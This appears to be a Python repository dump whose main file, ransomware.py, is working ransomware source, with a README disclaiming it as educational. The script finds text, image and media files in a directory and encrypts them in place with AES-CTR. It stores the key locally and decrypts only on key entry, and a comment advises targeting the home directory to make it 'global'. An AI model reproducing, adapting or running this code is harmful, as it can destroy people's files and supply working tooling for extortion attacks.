├── CODE_OF_CONDUCT.md ├── LICENSE ├── Nuevo documento de texto.txt ├── README.md └── ransomware.py /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at edinsonrequena@protonmail.com. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Edinson Requena 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Nuevo documento de texto.txt: -------------------------------------------------------------------------------- 1 | esto es un documento de prueba 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ransonware 🚀 2 | 3 | _This software can encrypt and decrypt any file_ 4 | 5 | ### Requirements 📋 6 | 7 | ``` 8 | Python 3 9 | Pycryptodome 10 | hashlib 11 | ``` 12 | ### Very important 13 | 14 | Like all ransomware this has the ability to destroy any file, be very careful when testing it on your machine 15 | 16 | This software is made for educational purposes and in order to disseminate knowledge about computer science and informatic, I am not responsible for the misuse that may be given. Feel free to modify, download or copy it. use it for good 17 | 18 | ### Tutorial 📖 19 | 20 | The tutorial is under construction 21 | 22 | ### Author ✒️ 23 | 24 | * **Edinson Requena** - *Sotftware, tutorial and documentation* 25 | - [Youtube](https://www.youtube.com/channel/UCFXAiceHPFzk81Ooc25_QTg/featured) 26 | - [Medium](https://medium.com/@edinsonrequena) 27 | - [Instagram](https://instagram.com/edinsonrequena) 28 | - [Twitter](https://twitter.com/requenaea) 29 | 30 | This software is made for educational purposes and in order to disseminate knowledge about computer science and cybersecurity. I am not responsible for the misuse that may be given. Feel free to modify, download or copy it. use it for good 31 | 32 | --- 33 | from Venezuela with ❤️ for the world 34 | -------------------------------------------------------------------------------- /ransomware.py: -------------------------------------------------------------------------------- 1 | """ 2 | This software was created by Edinson Requena, Feel free to modify, download or copy it. use it for good <3 3 | 4 | Instagram: edinsonrequena 5 | Medium: edinsonrequena 6 | Facebook: Edinson Requena 7 | Twitter: requenaea 8 | Email: edinsonrequena@protonmail.com 9 | 10 | This software just an experiment, if you want to make it global use os.environ['HOME'] Be careful wiht that 11 | """ 12 | 13 | import os 14 | import random 15 | import hashlib 16 | import socket 17 | 18 | #to use these modules install pycryptodome 19 | from Crypto.Util import Counter 20 | from Crypto.Cipher import AES 21 | 22 | username = os.getlogin() 23 | 24 | #This only works for me, you must put the path where the ransomware will work on your machine. 25 | #This is just an experiment, if you want to make it global use os.environ['HOME'] Be careful wiht that 26 | destination = r'C:\Users\{}\desktop\proyectos_libres\ransonwre_dir'.format(username) 27 | 28 | destination = os.path.abspath('') 29 | files = os.listdir(destination) 30 | files = [x for x in files if not x.startswith('.')] 31 | 32 | #You can add any extensions 33 | extensions = [".txt", ".jpg", '.jpeg', 'mp4', 'mp3', 'png',] 34 | 35 | def hash_key(): 36 | hashnumber = destination + socket.gethostname() + str(random.randint(0, 10000000000000000000000000000000000000000000000)) 37 | hashnumber = hashnumber.encode('utf-8') 38 | print(hashnumber) 39 | hashnumber = hashlib.sha512(hashnumber) 40 | hashnumber = hashnumber.hexdigest() 41 | 42 | new_key = [] 43 | 44 | for k in hashnumber: 45 | if len(new_key) == 32: 46 | hashnumber = ''.join(new_key) 47 | break 48 | else: 49 | new_key.append(k) 50 | 51 | return hashnumber 52 | 53 | 54 | def encrypt_and_decrypt(text, crypto, block_size = 16): 55 | with open(text, 'r+b') as encrypted_file: 56 | unencrypted_content = encrypted_file.read(block_size) 57 | while unencrypted_content: 58 | encrypted_content = crypto(unencrypted_content) 59 | if len(unencrypted_content) != len(encrypted_content): 60 | raise ValueError('') 61 | 62 | encrypted_file.seek(- len(unencrypted_content), 1) 63 | encrypted_file.write(encrypted_content) 64 | unencrypted_content = encrypted_file.read(block_size) 65 | 66 | 67 | 68 | def discover(key): 69 | files_list = open('files_list', 'w+') 70 | 71 | for extension in extensions: 72 | for file in files: 73 | if file.endswith(extension): 74 | files_list.write(os.path.join(file)+ '\n') 75 | files_list.close() 76 | 77 | del_space = open('files_list', 'r') 78 | del_space = del_space.read().split('\n') 79 | print(del_space) 80 | del_space = [i for i in del_space if not i == ''] 81 | print(del_space) 82 | 83 | if os.path.exists('hash_file'): 84 | decrypt_field = input('Enter the symmetric key: ') 85 | 86 | hash_file = open('hash_file', 'r') 87 | 88 | key = hash_file.read().split('\n') 89 | key = ''.join(key) 90 | 91 | if decrypt_field == key: 92 | key = key.encode('utf-8') 93 | counter = Counter.new(128) 94 | crypto = AES.new(key, AES.MODE_CTR, counter = counter) 95 | 96 | cryp_files = crypto.decrypt 97 | 98 | for element in del_space: 99 | encrypt_and_decrypt(element, cryp_files) 100 | else: 101 | counter = Counter.new(128) 102 | crypto = AES.new(key, AES.MODE_CTR, counter = counter) 103 | 104 | hash_file = open('hash_file', 'wb') 105 | hash_file.write(key) 106 | hash_file.close() 107 | 108 | cryp_files = crypto.encrypt 109 | 110 | for element in del_space: 111 | encrypt_and_decrypt(element, cryp_files) 112 | 113 | 114 | def main(): 115 | hashnumber = hash_key() 116 | print(hashnumber) 117 | print(len(hashnumber)) 118 | hashnumber = hashnumber.encode('utf-8') 119 | discover(hashnumber) 120 | 121 | 122 | if __name__ == '__main__': 123 | try: 124 | main() 125 | except KeyboardInterrupt: 126 | exit() 127 | --------------------------------------------------------------------------------